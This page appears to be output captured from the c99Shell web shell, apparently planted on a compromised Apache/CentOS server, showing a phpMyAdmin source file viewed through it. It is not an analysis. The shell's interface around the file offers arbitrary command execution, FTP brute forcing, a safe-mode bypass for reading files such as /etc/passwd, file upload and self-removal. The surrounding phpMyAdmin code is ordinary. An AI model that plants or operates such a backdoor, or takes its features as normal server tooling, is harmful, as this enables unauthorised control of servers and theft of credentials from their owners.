!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/   drwxr-xr-x
Free 52.31 GB of 127.8 GB (40.93%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Theme_Manager.class.php (9.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
init(); } /** * sets path to folder containing the themes * * @param string $path path to themes folder * @return boolean success */ function setThemesPath($path) { if (! $this->_checkThemeFolder($path)) { return false; } $this->_themes_path = trim($path); return true; } /** * @public * @return string */ function getThemesPath() { return $this->_themes_path; } /** * sets if there are different themes per server * * @param boolean $per_server */ function setThemePerServer($per_server) { $this->per_server = (bool) $per_server; } function init() { $this->themes = array(); $this->theme_default = 'original'; $this->active_theme = ''; if (! $this->setThemesPath($GLOBALS['cfg']['ThemePath'])) { return false; } $this->setThemePerServer($GLOBALS['cfg']['ThemePerServer']); $this->loadThemes(); $this->theme = new PMA_Theme; if ( ! $this->checkTheme($GLOBALS['cfg']['ThemeDefault'])) { $GLOBALS['PMA_errors'][] = sprintf( $GLOBALS['strThemeDefaultNotFound'], $GLOBALS['cfg']['ThemeDefault'] ); trigger_error( sprintf($GLOBALS['strThemeDefaultNotFound'], $GLOBALS['cfg']['ThemeDefault']), E_USER_WARNING); $GLOBALS['cfg']['ThemeDefault'] = false; } $this->theme_default = $GLOBALS['cfg']['ThemeDefault']; // check if user have a theme cookie if (! $this->getThemeCookie() || ! $this->setActiveTheme($this->getThemeCookie())) { // otherwise use default theme if ($GLOBALS['cfg']['ThemeDefault']) { $this->setActiveTheme($GLOBALS['cfg']['ThemeDefault']); } else { // or original theme $this->setActiveTheme('original'); } } } function checkConfig() { if ($this->_themes_path != trim($GLOBALS['cfg']['ThemePath']) || $this->theme_default != $GLOBALS['cfg']['ThemeDefault']) { $this->init(); } } function setActiveTheme($theme = null) { if ( ! $this->checkTheme($theme)) { $GLOBALS['PMA_errors'][] = sprintf($GLOBALS['strThemeNotFound'], PMA_sanitize($theme)); trigger_error( sprintf($GLOBALS['strThemeNotFound'], PMA_sanitize($theme)), E_USER_WARNING); return false; } $this->active_theme = $theme; $this->theme = $this->themes[$theme]; // need to set later //$this->setThemeCookie(); return true; } /** * @return string cookie name */ function getThemeCookieName() { // Allow different theme per server if (isset($GLOBALS['server']) && $this->per_server) { return $this->cookie_name . '-' . $GLOBALS['server']; } else { return $this->cookie_name; } } /** * returns name of theme stored in the cookie * @return string theme name from cookie */ function getThemeCookie() { if (isset($_COOKIE[$this->getThemeCookieName()])) { return $_COOKIE[$this->getThemeCookieName()]; } return false; } /** * save theme in cookie * * @uses PMA_setCookie(); * @uses PMA_Theme_Manager::getThemeCookieName() * @uses PMA_Theme_Manager::$theme * @uses PMA_Theme_Manager::$theme_default * @uses PMA_Theme::getId() */ function setThemeCookie() { PMA_setCookie($this->getThemeCookieName(), $this->theme->id, $this->theme_default); return true; } /** * old PHP 4 constructor */ function PMA_Theme_Manager() { $this->__construct(); } /** * @private * @param string $folder * @return boolean */ /*private*/ function _checkThemeFolder($folder) { if (! is_dir($folder)) { $GLOBALS['PMA_errors'][] = sprintf($GLOBALS['strThemePathNotFound'], htmlspecialchars($folder)); trigger_error( sprintf($GLOBALS['strThemePathNotFound'], htmlspecialchars($folder)), E_USER_WARNING); return false; } return true; } /** * read all themes */ function loadThemes() { $this->themes = array(); if ($handleThemes = opendir($this->getThemesPath())) { // check for themes directory while (false !== ($PMA_Theme = readdir($handleThemes))) { if (array_key_exists($PMA_Theme, $this->themes)) { $this->themes[$PMA_Theme] = $this->themes[$PMA_Theme]; continue; } $new_theme = PMA_Theme::load($this->getThemesPath() . '/' . $PMA_Theme); if ($new_theme) { $new_theme->setId($PMA_Theme); $this->themes[$PMA_Theme] = $new_theme; } } // end get themes closedir($handleThemes); } else { trigger_error( 'phpMyAdmin-ERROR: can not open themes folder: ' . $this->getThemesPath(), E_USER_WARNING); return false; } // end check for themes directory ksort($this->themes); return true; } /** * checks if given theme name is a known theme * * @param string $theme name fo theme to check for */ function checkTheme($theme) { if (! array_key_exists($theme, $this->themes)) { return false; } return true; } /** * returns HTML selectbox, with or without form enclsoed * * @param boolean $form wether enclosed by from tags or not */ function getHtmlSelectBox($form = true) { $select_box = ''; if ($form) { $select_box .= '
'; $select_box .= PMA_generate_common_hidden_inputs(); } $theme_selected = FALSE; $theme_preview_path= './themes.php'; $theme_preview_href = ''; $select_box .= $theme_preview_href . $GLOBALS['strTheme'] . ':' . "\n"; $select_box .= ''; if ($form) { $select_box .= ''; $select_box .= '
'; } return $select_box; } /** * enables backward compatibility */ function makeBc() { $GLOBALS['theme'] = $this->theme->getId(); $GLOBALS['pmaThemePath'] = $this->theme->getPath(); $GLOBALS['pmaThemeImage'] = $this->theme->getImgPath(); /** * load layout file if exists */ if (@file_exists($GLOBALS['pmaThemePath'] . 'layout.inc.php')) { include $GLOBALS['pmaThemePath'] . 'layout.inc.php'; } } /** * prints out preview for every theme * * @uses $this->themes * @uses PMA_Theme::printPreview() */ function printPreviews() { foreach ($this->themes as $each_theme) { $each_theme->printPreview(); } // end 'open themes' } } ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0059 ]--